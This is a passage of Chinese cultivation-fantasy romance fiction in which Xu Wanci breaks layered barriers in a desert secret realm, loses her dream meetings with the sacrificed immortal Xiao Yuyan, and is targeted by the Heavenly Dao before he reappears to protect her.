她的神识盯着藤蔓被斩断的地方,终于,她察觉到了比方才强上些许的灵气波动。 这一次灵气传送的方向,与上一次她察觉到的完全相反。 灵气到达的地方……是那里! 许晚辞定神看去: 那里,是一株随处可见,看起来与周围同类没有分毫差异的绿行草。 这一刻: 她身后,是再次复活,随时都有可能杀了她的藤蔓。 她身前,是有可能代表着结界灵气来源的灵宝。 这个灵宝,随时都有可能转移方位,就算她告诉其他人,也有可能在她开口的这一段时间,它就转移了自己的所在。 她根本没有选择。 只要她够快,只要她能在藤蔓之前毁了那一株绿行草。 亦或者…… 许晚辞握紧手中九霄剑,神识与剑气凝聚在一起,毫不犹豫地朝着那颗绿行草而去,这是她进入修仙界后,最强的一剑。 她的速度已经快到了她的极限,可她身后的藤蔓已经是渡劫修为,速度与她相当甚至还要快上一分。 头、神识、脖颈、心脏、丹田、四肢…… 九根藤蔓,每一根都朝着她的要害而来。 察觉到这一幕的太清宗长老和江泽季妄等人,再也顾不上身前的灵植,手中灵气倾斜而出,想要阻止。 只是他们的灵气与许晚辞身后的藤蔓相比,显得太远也太慢。 可就在藤蔓马上就要击中许晚辞之时,她仿佛早有预料一般,右手一松,神识带着九霄剑依旧朝着那一株绿行草而去。 而她自己则是侧身,险而又险的躲过了身后藤蔓的攻击。 这些藤蔓毕竟太过强大,即使她躲开了八根,依旧有一根藤蔓避无可避,直朝她的胸口而来。 危机之下,她只来得及调整身形,让受伤的地方从胸口,转移到左肩。 这点小伤,换破开这个结界的危机,很划算。 谁也不知道那一瞬到底发生了什么,只看到最后一刻藤蔓改变了方向,与许晚辞擦肩而过。 接着,九霄剑击中了目标,那一株绿行草瞬间湮灭。 天际,神明的一滴血落在了虚无之中,被混沌与天道之力争相蚕食。 许晚辞收回九霄剑,她没有时间思考最后那一根藤蔓的手下留情,而是拿着剑反手一挥。 其余八根折返回来想要杀她的藤蔓也应声而断。 这一次,它们再也没有复活。 许晚辞收起九霄剑,声音平淡: “灵植不会再复活。” “可杀。” 第84章 他要让结界记住她的气息,不敢擅动 所有与灵植缠斗的修士都察觉到了灵植的变弱, 随后,就听到了许晚辞的声音。 他们身上或多或少都带了一些伤口,体内的灵气也接近枯竭。 只是他们都知晓灵植再次复生之后的强大与恐怖,所以并未直接攻击, 而是朝着身侧看去。 不远处太清宗众人与江泽季妄等人根本没有犹豫, 灵气横扫而去, 灵植瞬间湮灭, 再也没有复生。 其他人见状, 也对身前的灵植下了狠手。 一瞬间, 结界之中所有的灵植都被击杀。 确定安全后, 不少尊者看向许晚辞的目光不由地带上了几分对待同阶层修士才有的尊重。 曾经他们只把她当成了结因果的机缘。 他们对她的友好,只是因为她的气运,她对他们的作用。 可这一刻, 他们终于认知到, 许晚辞比他们想象的, 要强大的多。 此时太清宗众人已经围了上去,大长老看着许晚辞的目光满是担忧: “晚辞,你没事吧?” 许晚辞收起九霄剑, 对着赶过来的众人微微摇头: “我没事。” 随着那一株绿行草的消亡,周围的结界逐渐消散,原野褪去, 成为了和结界之外完全一致的荒漠。 于此同时, 第二层的结界, 也显现在了众人面前。 看到新的结界之后,所有人的神情都带上了几分慎重: 只是第一层的结界, 就能让这么多的渡劫尊者狼狈至此,这第二层结界, 只会更加危险。 只是…… 大长老感受着不远处的结界,沉声道: “这个结界如方才的结界一般,怕是要等上数日,才能开放。” 听着他的话,其他尊者也试探了一番,随即附和地点了点头。 于是,各宗门世家纷纷在荒漠中安营扎寨,等候第二层结界的开启。 虽然他们心中已经隐隐有了预感,这次的机缘大抵不属于他们。 只是不到最后一刻,他们依旧不会死心。 就算得不到,能见识一番此次至宝也是好的。 天际之中。 萧玉衍静静地站在原地,看到下界中的许晚辞平安无事后,他绷紧的右手才终于放松下来。 他的身体在一次次的重塑中,已经逐渐脱离了天道之力的掌控。 可当身体中残存的天道之力意识到这一点后,开始自爆一般地制止他的作为。 它们知晓,当他体内的天道之力完全消散时,他将彻底成为天地与规则都无法制约的存在。 它们一边疯狂的制止他的动作,一边不顾后果一般在他体内游走,想保留着意识成为他体内灵力的一部分。 萧玉衍感受着体内足以让绝大多数修士都俯首求饶的疼痛,面色淡漠得不带一丝情感。 就连看向许晚辞的目光,都比曾经多了几分克制。 他身体中一部分的灵气,终究与天道之力同源。 若是它们想在其中做什么手脚,他不可能每一次都及时发现。 如今,他对她的保护,随时都有可能成为刺向她的利刃。 萧玉衍想起方才那一幕,指尖带上了一丝微不可查的颤抖: 那已经是他摆脱身体中天道之力的影响,所能做到的极限。 他的目光透过第二层的结界,看向其中,眸色逐渐暗了下来: 可是,远远不够。 那里的危险,已经超出了如今他的掌控。 萧玉衍的收回视线,平静地看向不远处能穿梭时空的漩涡。 漩涡承受了数十次的穿梭,已经小了许多,颜色也趋于透明。 最多再穿梭两次,它就会彻底消散。 他微微垂眸,遮住了眼中所有的神情: 他只要她平安。 下界之中,在太清宗驻扎之地休息的许晚辞,忽然感受到了一股熟悉的困倦。 她趴伏在木桌上,任由自己睡了过去。 梦境中正是夜晚。 夜色下,萧玉衍站在幻颜树前,周身的气息静谧清冷,看起来比月色还要多上几分清寒。 可在看向她的那一瞬,霜雪消融,他眼中只剩下了专注的温柔。 从看到她的那一刻起,他眼中再也没有了其他存在,只有她。 许晚辞心中所有的情绪都随着他的这个目光消散,她并没有如同以往一般等他靠近,而是快步来到了他的身前。 她双手抱住了他的腰身,抬眸看向他,一字一句道: “萧玉衍,我好想你。” 萧玉衍的身体僵硬了一瞬,他对上她盛满了璀璨星光的双眸,伸出手将她嵌入怀中。 他小心地控制着手上的力道。 身体中残存的那些天道之力,在百年之前,只够勾动他的欲望。 可他所有的欲望,在见到她的那一瞬,就都已经得到了满足。 他一只手勾着她的发丝,声音温柔而缱绻: “我也想你。” “很想,很想。” 许晚辞从他怀中起身,一只手扒拉下他在她头发上作乱的左手,然后娴熟的握住了他的手腕。 她一只手摩挲着那粒红痣,声音带着清浅的笑意: “我们今日要去哪里?” 上上上次,他们一同去吃遍了修仙界所有珍稀的灵果。 上上次,他们一同去静寂之巅看了一日的清雪。 上次,他们在无望之海看了日出与日落。 在梦境中的每一日,都仿佛是她内心中对自由最真实的渴求。 无拘无束,自在随性,还有身旁人相伴。 萧玉衍任由她在的手腕上动作,直到红痣泛起热意,他才终于翻动手腕,将她的手握在掌心。 他声音带着一丝无奈,但更多的却是纵容: “晚晚,我们去秘境好不好?” 许晚辞有些诧异地眨了眨眼睛:今日要看的,是秘境么? 她笑着点了点头: “好。” 他们最先去的,是太清宗流传了千年的无妄秘境。 萧玉衍温柔地为她讲解着秘境之中的灵植异宝。 许晚辞懒洋洋地听着他的声音,时不时敷衍地点点头。 无妄秘境她早已来过,再加上看到的原著内容,她本就对这里有所了解。 果然……梦境不会让她见到那些超出她认知的事情。 只是一瞬间,她就压下了心中所有的情绪。 她掩饰一般地打了一个哈欠,抬起头眨巴着眼睛问道: “我们还要在这里待多久啊。” 萧玉衍看着她的眼睛,心中一个角落蓦然软了下来。 他根本没有办法拒绝她的任何要求与期待: “我们现在就离开这里。” 接下来他们去的,是百年才会出现一次齐云秘境。 许晚辞不久之前,在古籍上看到过相关的内容。 只不过这次萧玉衍的讲解,比古籍上还要详细许多。 详细到让她有一瞬间的恍惚。 好像身边的人,真的已经超越了梦境的界限,真实存在一般。 许晚辞握着萧玉衍的手下意识用力。 感受着身侧人的目光,她没有看他,只是拉着他一同坐到了灵植之中: “萧玉衍,你不累么?” 萧玉衍顺着她的话轻笑道: “累。” “那我们在这里休息一会儿吧。”许晚辞调整好了自己的神情,唇角的笑意清甜,“正好欣赏一下这里的风景。” “好。” 听着萧玉衍的回答,她唇角笑意加深。 不知是不是她体内的灵团小了太多,在梦境中,只不过两个时辰不到的时间,她就感觉自己有了几分困意。 她躺在他的腿上,懒散地看着秘境之中蔚蓝的天空。 萧玉衍看着她安静乖巧的侧脸,心中的情绪复杂到压过了心中所有的声音。 他能陪她的时间,越来越少。 知晓未来的他,根本舍不得拒绝她的任何要求。 她的百年,太苦了。 萧玉衍握着她的手缓缓用力,声音带着一丝微不可查的沙哑。 他把这百年中有可能出现的秘境弱点与至宝所在,一一告诉了她。 其中还掺杂着一些阵法的讲解。 许晚辞听着他口中的蕴灵秘境,闭上双眼遮住了眼中的无奈。 她当然知晓秘境中的至宝,不仅知晓,她还带了两粒种子出来。 他口中其他的秘境,有些她在古籍上看到过,有些她在原著中了解过。 虽然不如他口中详细…… 想到这里,她睁开双眼,被握住的手微微用力,将他往她身前拉近。 萧玉衍纵容地顺着她的动作俯身,他笑意清浅的看着她,任由她的动作。 许晚辞一只手环住他的脖颈,将他拉到自己身前,在他唇角落下了一个轻吻。 一连串的动作做完后,她瞬间松开手,把他的上半身推了回去,眼睛也无辜地闭了起来。 仿佛刚才主动的人根本不是她一般。 萧玉衍看着她闭上双眼后轻颤的睫毛,混乱的心跳逐渐平息,眼中也带上了一丝无奈。 他一只手挡在她的眼前,为她挡住了秘境之中的阳光,却也再也没有开口。 半盏茶后。 看着已经熟睡的许晚辞,萧玉衍久久没有动作,只是安静地看着她。 直到他身体的灵力已经濒临枯竭。 直到他不得不离去。 送她回到太清宗后,他并未离开,而是来到了七冶大漠的秘境之中。 百年后,他受天道之力的限制,无法出手。 可是百年前,又有谁能阻止他? 萧玉衍走入结界,结界中的所有存在全都瑟瑟发抖,安静的匍匐在地。 他看着第一层结界中的灵植,指尖的灵气汇聚,却又在最后时刻散开: 她能够解决。 她……不喜欢密不透风的保护。 只是在进入第二层结界时,他的灵气再也没有了顾忌。 他将许晚辞的气息,刻入结界的每一处,让它们在百年之后,依旧记得这个气息,不敢擅动。 第三层中,是至宝所在。 萧玉衍淡淡地扫了至宝一眼,确认它周围并无危险后,手中凝聚的灵气终于消散。 他的身体逐渐透明,消失在了原地。 第85章 她的梦境,结束了 天际之中。 看到萧玉衍的身影显现后, 所有的天道之力却诡异的安静了下来。 它们在等待,等待他身体真正崩溃的那一瞬。 再有一次,就已经足够。 萧玉衍感受着体内已经接近核心的天道之力,缓缓闭上了双眼: 他也在等待身体崩溃的那一瞬。 只有在那一刻, 他才能以神魂拔出所有的天道之力。 才能真正出现在她身边。 * 许晚辞醒来后不久, 第二道结界便开了。 她感受着自己体内已经接近于无的灵团, 指尖微颤。 再这样下去, 灵团用不了一个月便会消散。 到那时, 梦境也会结束。 她抬眸看向不远处第二层逐渐放开的结界, 毫不犹豫地起身走了过去: 若是得到了带着仙气的至宝, 那她对丹田中灵团的损耗应该会削减许多。 那时,她的梦境……应该也会继续。 从问心镜之后,她便是想骗自己, 也骗不动了。 许晚辞眼中带着几分她已察觉但不想控制的偏执: 只要她修为足够高, 只是一个梦境而已, 继续便继续,有何不可? 她努力修炼,是因为想要得到那些自己期望的所有。 曾经, 是自由与活着。 如今,只不过是多了一个梦境罢了。 此时,已经有不少渡劫尊者走进了结界。 许晚辞看着宁孟澜与众位长老担忧的神情, 对着他们目光坚定地行了一礼: “宗主, 诸位长老放心, 我一定会保护好自己。” 她一定会活着,通过第二层结界。 然后得到至宝。 为了修为、为了飞升, 也为了梦境中的那人。 宁孟澜修为不够,身上又承载着太清宗整个宗门的内务, 这一次,他并未进入结界。 他站在结界之外,目光是止不住的担忧。 他对许晚辞太过了解,她说的保护好自己,最多只是让自己活着罢了。 至于身上有没有伤,伤势多重,她根本不会在意。 宁孟澜深吸一口气,已经开始盘算起了太清宗库房内可以疗伤的天材地宝。 许晚辞进入结界时,结界中已经有了不少位尊者。 可他们每一位都看起来分外狼狈,身上更是已经有了数道带着血迹的伤痕。 此时距离结界开放,不过才几息的时间。 许晚辞心神蓦然紧绷,没有弄清楚秘境状况时,她并未擅动。 她一边小心地用神识探查周围的环境,一边皱眉观察不远处的烈焰尊者。 烈焰尊者正抵抗着朝他袭来的空间之刃。 他的动作僵硬,身上渡劫的灵气却接近于无,如同一个练气弟子一般,无力地招架着面前已经能伤害元婴修士的空间之刃。 只是瞬间,他身上便又多了几道伤口。 许晚辞看着他的动作,感受着空间之刃的灵气,像是察觉到了什么,神情愈发慎重。 袭击烈焰尊者空间之刃的灵气来源,是他自己。 果然,下一瞬,他刚才抵挡空间之刃的灵气,再次化作了伤他的利刃。 方才只是练气的灵气,一个循环过后,却已经提升到了筑基。 烈焰尊者身上,又多了几道伤痕。 反应过来的许晚辞对着身后的太清宗长老沉声道: “不要使用灵气。” 几位长老听到她的声音,处于对她的信任,强行忍住了本能,并未动作。 即便如此,他们身上也依旧多了几道细微的伤痕。 许晚辞看着只是走了一步,身上便已经受伤的大长老,忽然意识到,不止是灵气能化刃,还有动作。 每个人行动之间带起的微风,也会成为攻击自己的利器。 这时,一位尊者也察觉到了结界之中空间之刃的来源: 只要不使用灵气,只是行动间产生的空间之刃,他完全可以承受。 他任由自己被空间之刃袭击,缓步往前走去。 一步、两步、三步…… 可每走一步,即使他未曾用灵力抵抗,空间之刃的强度仍然成倍增加。 到了第五步时,空间之刃已经强大到足以将他的身体撕碎。 这位尊者再也没有办法,只能用尽自己最快的速度离开结界。 即便如此,空间之刃也险些将他的身体割成两半。 看到这一幕的其他尊者,心中都是一寒。 百米之外,所有人都能看到控制整个结界的晶石,可是任何人都无法到达,也根本不敢使用灵气试探。 许晚辞也看到了这一幕,她控制住了自己所有的动作,包括呼吸。 她身侧的二长老咬着牙道: “不好,即使在结界中一动不动,依旧会遭受空间之刃的攻击。” 大长老也沉声道:“这一次的空间之刃,已经等同于筑基修士的一击。” 再继续下去,他们的状况也不会比周围的尊者好多少。 听着他们的声音,许晚辞微不可查地皱起了眉头。 从始至终,她身上都没有任何伤痕。 空间之刃就仿佛忽略了她一般,根本不曾伤她。 她试探性地动了动右手,动作间带起一股微不可查的清风。 一息、两息…… 周围依旧一片平静。 许晚辞看着不远处的结界之晶,心神紧绷,但却步伐坚定的走了出去。 看着她的动作,她身边的顾云绮蓦然出声: “晚辞!” 她还没来得及多说什么,就见到了许晚辞缓步向前但毫发无伤的模样。 空间之刃莫说伤她,就连她周身三尺之内都未曾接近。 哪怕是袭击其他尊者的空间之刃,在靠近她时,都凭空一闪将她绕了过去。 其他尊者也见到了这一幕,每个人眼中都是抑制不住的震惊: 怎么可能?! 结界中的空间之刃,怎么会对许晚辞一点影响都没有? 他们看着自己狼狈到已经快要看不出外形的身体,又看了看干净整洁,裙角连一丝灰尘都没有的许晚辞,心中不由地生出了一丝微妙的嫉妒: 第一层结界破解,是因为她聪慧敏锐,发现了结界的问题。 可是第二层结界,她明明什么都没有做啊! 莫不是她身上的灵气,对空间之刃有着克制作用? 亦或者因为她在第一层结界的作为,影响了第二层的结界? 不管怎样,有一点足够确定: 许晚辞,当真气运极盛。 许晚辞根本没有心神注意其他。 纵然现在她没有遇到任何空间之刃,可随着她步数的曾多,但凡有空间之刃出现,以她现在的位置,都绝对致命。 她一边向前走,一边随时做好了逃离的准备。 可直到她来到了结界之晶前,周围却依旧没有一丝空间波动。 她身后,所有的修士包括太清宗众位长老,依旧在狼狈抵抗着空间之刃。 只有她,安然无恙的站在结界的中心。 许晚辞用灵气护住身体,一只手小心地朝前探去。 在碰到结界之晶的那一瞬,结界之晶瞬间消散。 身后,所有的动静也蓦然止息。 第二层结界,彻底消散,也化作了荒漠中的一部分。 不远处,第三层结界巍然屹立。 这一次,其他尊者看向许晚辞的目光,已经不仅是尊重,还带上了一丝敬畏。 接下来,一番恭维之后,所有人都安静的等待第三层结界的开放。 即使他们知晓,结界中的至宝,最后的归属只有可能是许晚辞,也依旧未曾离去。 只是…… 大长老看着依旧□□的结界,声音带着一丝慎重: “这已经是第二十日了。” 第三层结界持续的时间太久,已经超过了他们的猜测。 二长老环视周围,若有所思道: “看样子,第三层结界怕是还要等上许久。” 周围已经有几位尊者选择了离开。 所有人都已经猜到了至宝的归宿,再加上宗门事务繁忙,根本没有办法抽出太多的时间耗在这里。 还不如等到第三层结界开放后,再次前来。 对于许晚辞而言,结界开放的越晚,她的竞争者便会越少。 这明明是一件好事,可…… 二长看着不远处周身气息罕见浮躁的许晚辞,眉头微不可查的蹙起: “晚辞她……” 大长老对着她轻轻摇头,声音轻得只有他们才能听到: “再过十日,便是百年前仙尊祭天之日。” 天际之中,一个身影微微一颤。 下界中,许晚辞感受着自己体内每日都有所减小的灵团,逼自己放开紧攥的双手。 没关系。 她还有时间。 她转身,看着谢听白看向她时关切的目光,对他扬起了一个平淡得好像没有任何情绪的微笑: “七长老放心,我无事。” 谢听白看着与他擦肩而过的身影,目光无奈而担忧: 他还未曾开口…… 这对她而言,已经是罕有的失态。 接下来的几日中,许晚辞看似平静,依旧每日执着修炼,可是不少人都能察觉到她隐藏在平静之下的情绪波动。 又是九日。 许晚辞感受着自己丹田之中已经透明,再有一日便会完全消散的灵团,双唇紧抿。 不远处,第三层结界依旧没有分毫反应。 顾云绮小心?? 翼翼地走到了她身边,声音带着挥之不去的担忧: “晚辞,你还好么?” 许晚辞怔愣的看着她,过了一会才回过神来一般,轻声道: “没关系的。” “过几天就好了。” 等到明天灵团彻底消散之后,一切就会回归原样。 今天,是她唯一可以为他伤心的时间。 从明日起,她就会继续前行。 继续修炼,让自己变得强大,能掌控自己的人生。 她看似平静地转过身,左手从身侧的树干之上擦过。 大乘修为的身体,居然被树干划出了一道伤痕。 天际之中,一个身影蓦然攥紧了双手。 他忽然意识到他曾经强行忽略的事情: 百年前,她亲眼见到了‘他’的离去。 那一日,她究竟是怎样的心情? 萧玉衍看着不远处只能继续一次的时空漩涡,一步一步地走了过去。 顾云绮伸出手想要看一眼许晚辞的伤势,却被她淡然躲开。 许晚辞灵气一动,手上的伤口便完全愈合。 她声音带着一丝微不可查的疲惫: “只是小伤,不值得在意。” “三长老,我累了,先回房休息了。” 许晚辞也不知道自己究竟何时睡着。 只是有意识时,便已经来到了梦境之中。 明明是盛夏的天气,天空中却飘起了纷纷扬扬的雪花。 许晚辞伸出手,目光带着一丝迟钝的困惑: 为什么,她觉得雪中的气息,让她有些熟悉? 是他……在梦中送给她的礼物么? 就如同那一片的化雨昙花田。 时空中的两个自己相遇时,有一个会隐匿在时空之中,没有任何人会察觉。 萧玉衍看着许晚辞透过他的身体,看向周围飘雪的目光,双手带着一丝抑制不住的颤抖。 他听到自己温柔到近乎慌乱的诱哄: “晚晚,看着我。” “不要回头。” 许晚辞看不到他,也听不到他的声音。 她没有犹豫的转过身,然后就看到了天际中那个一袭蓝衣的身影。 那是一片漆黑的漩涡中,唯一的亮色。 狂风吹袭,可他身上的外袍只是轻轻摆动,碎虚的气息与清雪一同,席卷了整个修仙界。 她看不清他脸上的神情,却能看到他周身寸寸散去的灵气,也能看到他逐渐消散的身体。 修仙界中,所有的修士全都跪伏在地,根本无法抬头。 只有许晚辞站在原地,茫然而平静地看着这一幕。 黑云密布,大厦将倾。 一人献祭,百年安宁。 原来,这就是百年前,清衍仙尊以身祭天的场景。 许晚辞安静地抬着头,直到一切消散,直到黑云褪去,直到天际放蓝。 也不知过了多久,她终于低下头,看向了周围漫天的落雪。 她忽然想起了原著中的形容: 那日,修仙界中下了一日的大雪。 每一片雪花中,都带着清衍仙尊消散的神魂。 她终于回过神来一般,一只手覆上了胸口所在的位置,然后一点点用力。 从来擅长忍痛的她,这一刻却疼得蜷缩起了身体。 她蹲下身,周身落满了雪花。 带着那人神魂的雪花。 萧玉衍单膝跪在她的身前,他无措地想要拂去她身上的雪花,却根本无法触碰到她。 他胸口处密密麻麻的疼痛让他的动作带着不可抑制的颤抖。 他一只手拂过身前人的侧脸,声音沙哑: “晚晚,我在。” “我一直在。” 这时,一滴泪从他透明的掌心穿过。 他的声音蓦然停了下来。 许晚辞怔怔地看着落在地面的那一滴水珠,疼痛与空洞同时弥漫了她的身体: 她的梦境,结束了。 漫天的落雪中。 透明的身影小心翼翼地拥住了身前的人。 大雪将周围覆盖,遮住了那滴泪珠,也遮住了所有的痕迹。 身后的落玉峰,开启了长达百年的封存。 第86章 梦境中的那人,轻笑着看向她 天际之中。 能穿梭时空的漩涡彻底消散。 随着一个身影的显现, 虚无中所有的天道之力全都疯狂的涌了上去。 它们知晓,这是他最虚弱的时刻。 也是它们唯一有可能战胜他的时刻。 萧玉衍感受着身体中不断向核心触及的天道之力,却并有任何动作。 他垂眸看着自己的双手,然后一点点握紧。 那一滴泪, 穿过他的掌心, 落在了他的心上: 他, 不想再等了。 他蓦然闭上双眼, 虚无之中的一切, 一瞬间被全部冻结。 明明他的身体虚弱到了极致, 却偏偏依旧能让整个修仙界都无可奈何。 他身体中残存的天道之力感受到了被毁灭的危险, 不顾后果的与他对抗,疯了一般地朝着他灵气凝结的核心涌去。 只要毁了核心,他凝结出的身体就会随之消散, 他也将回归虚无。 他身上所有的灵气, 将再次化作飘雪, 润泽万物。 所有的一切,都会回归原位。 这些只凭借本能行动的天道之力没有察觉,它们在萧玉衍身体内的动作, 似乎有些太过轻易。 就好像,他一直在等待这一刻一般。 * 房间内,许晚辞安静的睁开了双眼, 眼中带着一丝迟钝的茫然。 她几乎是下意识地内视丹田: 丹田中空空如也, 再无一物。 那个带着仙息的灵团, 随着梦境的终结,彻底消散。 梦境, 彻底终结。 她再也见不到那个人了。 许晚辞坐直身体,看起来面色依旧平静, 可是搭在木桌之上的双手,却带着一丝微不可查的颤抖。 她逼着自己放轻呼吸,放缓心跳。 她从来都不允许自己沉湎于过去,与已经注定的失去相比,未来才是她唯一应该思考的事情。 更何况,她在决定沉溺于梦境的那一刻,已经预料到了今日的结局。 她必须接受,她只能接受。 可无论心中怎样说服自己,胸口的闷痛依旧让她有些不适地蹙起了眉心。 就在这时,一道晕开的结界之力扫过了她的周身。 第三层结界,开了。 感受着结界中至宝对她的呼唤,许晚辞眼中却并没有什么欢喜,而是自嘲地扬起了唇角: 一个时辰。 只晚了一个时辰。 气运何时真正的偏爱过她? 她站起身,没有再留给自己悲伤的时间。 她一步一步地朝着结界走去: 她必须向前,她只能向前。 第三层结界之外,已经有数十位渡劫尊者在此等候。 同时,其他已经回宗门的尊者也感受到了至宝即将出世,不过几息,便陆陆续续的出现。 所有人看向结界的目光都带着抑制不住的狂热。 与飞升有关的机缘,实在太过罕见,甚至已经超过了那一日的无相神石。 没有人能不动心。 只是机缘越盛,对气运的要求便越高。 看着不管如何用灵气试探,依旧固若金汤的结界,不少人叹息着摇了摇头: 这个至宝,终究与他们无缘啊。 这时,众人身后传来一阵极轻的灵气波动。 在所有人的注视下,一身蓝衣的许晚辞一步步朝着结界走来。 明明是这样大的机缘,明明机缘对于她而言已经算是唾手可得。 可她依旧面色平静,眼中也没有什么喜色,甚至她周身的气息,都带着一丝微不可查的……悲伤。 看着这样的许晚辞,不少尊者都皱起眉头,面带疑惑: 莫非此次机缘有异? 根本没有人往仙尊祭天之日上猜测。 即使他们知晓许晚辞对仙尊一往情深,只是机缘面前,怎么可能有人纠结于情爱不放? 过了今日,有的是时间伤怀。 只有太清宗众人知晓原因,叹息着移开了视线。 许晚辞站在结界之前,感受着结界中涌动的仙气,她强行压下了心中所有的情绪。 第三层结界之中,还不知会有什么危机,她必须足够谨慎。 她伸出手,试探性的触碰前方的结界,灵气早已消无声息的护住周身,也随时做好了逃离结界的准备。 在她指尖碰到结界的那一刻,一阵耀眼的光芒迸发开来。 结界消散,所有尊者都看到了结界中的玉华仙石。 他们的目光瞬间变得灼热非常: 居然是玉华仙石! 自带仙气,能将修士飞升的概率提到五成的至宝! 拥有了它,基本上就已经拥有了飞升成仙的可能。 面对此等诱惑,一位尊者一咬牙,用渡劫灵气朝着玉华仙石探去: 机缘无主,自然是能者得之。 灵气被腐蚀的刺啦声蓦然响起。 这位尊者狼狈地把灵气收了回来,唇角也溢出了一丝鲜血。 不知是丹田,他的神识也遭受了重创。 见状,其他尊者也都压下了心中的想法,只是识海中的神识,依旧蠢蠢欲动: 万一呢? 万一至宝最后的选择,会是他们呢? 许晚辞也察觉到了身后的动静。 看着似乎对其他人都异常排斥的至宝,她指尖微动,一丝灵气小心地来到了玉华仙石旁边。 她还未继续动作,玉华仙石的灵气便迫不及待地缠住了她的灵气,仿佛是在催促她赶紧收下它一般。 能轻易重伤其他尊者的至宝,却在小心翼翼地讨好她。 看到这一幕的其他尊者,嫉妒得眼睛都泛起了红意: 若是至宝选择的人是他们,该有多好! 可许晚辞感受着仙石的动作,眼中并没有什么欣喜,反倒带上了几分警惕: 她得到机缘,从来都需要九死一生,历尽艰辛。 玉华仙石乃是千年难得一见的至宝,难道真的会被她这样轻易得到么? 就在许晚辞迟疑之时,玉华仙石已经迫不及待地融入了她的身体。 一股温热的暖流席卷了她身上的经脉,她的神识也得到了滋养。 充盈的仙气围绕在她的周围,调动着周围所有的灵气改造她的身体。 她的修为也不断上升,逐渐从大乘中期,来到了大乘后期,距离渡劫期只有一步之遥。 最后,她丹田之中传来一声轻响。 瓶颈破开,大乘散去,渡劫凝聚。 许晚辞身边仿佛一个漩涡一般,将周围数百里的灵气全都吸了过来。 随着她修为的晋升,随之而来的却不是让无数修士战栗的雷劫,而是一片灵气化云的异象。 周围的灵气全部都聚集在这里,浓郁得形成了一片片白色的云层,拥簇在渡劫的人身边。 云层之中,有灵雨滴滴坠落。 许晚辞被云层包裹,周身渡劫期的修为肉眼可见的凝实。 等到异象散去,她便会成功晋升渡劫。 以她的修为与神识,修仙界中大抵没有修士能够轻易伤到她。 只是…… 许晚辞感受着在经脉之中游走却根本无法限制制止的仙气,心中闪过一丝疑惑: 带着仙息的灵团在她体内时,从来都受她控制。 可是玉华仙石的仙气却为何这般……肆意? 随着时间的推移,她对自己身体的控制也开始逐渐变弱,就连眼睛都无法睁开。 许晚辞在感到困倦的那一刻,便察觉到了不对。 她努力让自己保持清醒,尝试引导自己体内的仙气。 下方,是无数尊者满是艳羡的目光。 有尊者伸手接住了一滴从云层落下的灵雨,其中蕴含的灵气,浓郁到让人有了一丝不适。 在这里的众人都知晓,此次过后,许晚辞将成为与他们所有人平起平坐的存在。 如今距离她显露头角,才过了多久? 那时她不过是一个金丹弟子,如今,却已经成为了渡劫尊者。 他们可是辛辛苦苦修炼了几百上千年,才有今日的成就啊。 更让他们无奈的是,他们清楚的知晓,许晚辞的未来,一定会超过他们。 她是如今修仙界中,最有可能飞升的人。 就在他们无奈叹息之时,周围的灵雨忽然密集了些许。 不少尊者抬眸看去,云层中,许晚辞的身影愈发清晰。 他们感受着其中的灵气,眼中带上了几分思索: 许晚辞这一次进阶时产生的天地异象,为何如此……无害? 就好像他们的灵气,随时都能破开异象,去到她身边一般。 这时,一个从天际而来的声音如雷霆一般,响在了所有人的识海之中: “许晚辞,窃取气运,狼子野心。” “杀了她的人,即可得成大道,飞升成仙。” 当修为来到渡劫时,都有了些许沟通天地的能力,也能隐隐察觉到天道之力的运转。 所以,在听到这个声音的那一瞬,所有渡劫尊者都反应了过来: 这是天道之音! 天道不会说谎。 所以,许晚辞气运这么好,是因为她窃取了其他人的气运! 甚至引发了天道震怒。 太清宗的几位长老瞬间反应了过来,比起识海中的声音,他们更相信朝夕相处的许晚辞。 他们有眼有心,能分得清是非对错。 更何况,若是真如方才那个声音所言,许晚辞一直在窃取他人气运,那太清宗的气运早应该被她吸食殆尽了才对。 可是如今,宗门蒸蒸日上,对她抱有善意的修士也纷纷得到了她一倍甚至更多的回馈。 千回丹、灵脉、玄云兰、命寿花…… 这些至宝,都是因她而现,可她却从未用在自己身上。 说她窃取气运,真是可笑! 江泽与季妄眼中也没有一丝对许晚辞的怀疑。 他们手中灵气聚集,看向周围的目光带着冰冷的警惕: 最多不过再如无相神石那一日罢了。 他们一定会,护住她! 云层之中,许晚辞也听到了响彻大漠的这个声音。 她的心瞬间沉了下去。 这是针对她的杀招,一个根本不可能从中逃脱的杀招。 原来,这才是一切这样顺利的原因。 她改变了这个世界的走向,赢了男主楚青川,然后…… 被天道纠错,成为万人追杀的对象。 而此刻,她正在渡劫,根本没有还手之力,只能任人宰割。 这是一个仿佛已经写好了结局的死局。 许晚辞逼自己掌控起了身体中的仙气与灵气: 可惜,她从不认命。 就算是死局,她也要从中走出一条生路。 她能做到一次,就一定能做到第二次,第三次! 如今她无法终止异象,她只能加快渡劫的进程,加快身体吸收仙气的速度。 要尽可能的快。 即使这样会让她重伤,她也别无选择。 她只能拼命,才能博得一线生机。 大漠中,有尊者手中已经有灵气汇聚: 杀了许晚辞,就能飞升。 根本没有人能抵挡这样的诱惑。 更何况,许晚辞如今得到的一切,本就是偷来的。 他们杀了她,也不过只是顺应天意,替天除害罢了! 有些与许晚辞有旧的尊者,目光挣扎。 他们与她交往,能察觉到天道之音中的漏洞。 只是这种机缘面前,谁能免俗? 最先出手的,是白家。 白家向来以利为先,白家的一位长老根本没有犹豫,在听到识海中声音的那一瞬,便有所动作: 这么多尊者在这里,他必须足够快,才能在所有人之前,杀了许晚辞,得到飞升机缘。 可就在他手中的暗器就要发出的那一瞬,周围的一切倏地静止。 所有人后知后觉地感受到了周围让人惊恐战栗的灵气。 修为越高,对危险便越警觉。 没有人知晓这些灵气什么时候出现,只是在感受到的那一刻,身体蓦然僵硬,再也无法动作。 在所有人惊悚的目光中,最先动作的白家长老,身体一寸寸的化为了飞灰,湮灭在了天地之间。 不远处,灵气汇聚,一个一身月白的身影渐渐显现。 他背身而立,没有看他们,只是抬眸目光专注地看着半空中进阶的人。 似乎已经超越碎虚的灵气寸寸席卷,所有人根本无法看他第二眼,本能让他们全都跪了下来,再也不敢抬头。 他们的神识根本察觉不到任何存在,就好像他们跪得是一片虚无一般。 这样的强大,已经超出了他们的认知。 云层之中,许晚辞根本不知道发生了什么。 她只是忽然觉得周围的一切都可控了一般,仙气灵气都在她体内安静运转。 她周身的气息,也终于平稳下来。 异象散去,她已经成为了渡劫尊者。 她本已经做好了面对所有人追杀的准备,可是睁开双眼后,她眼中只剩下了一个身影。 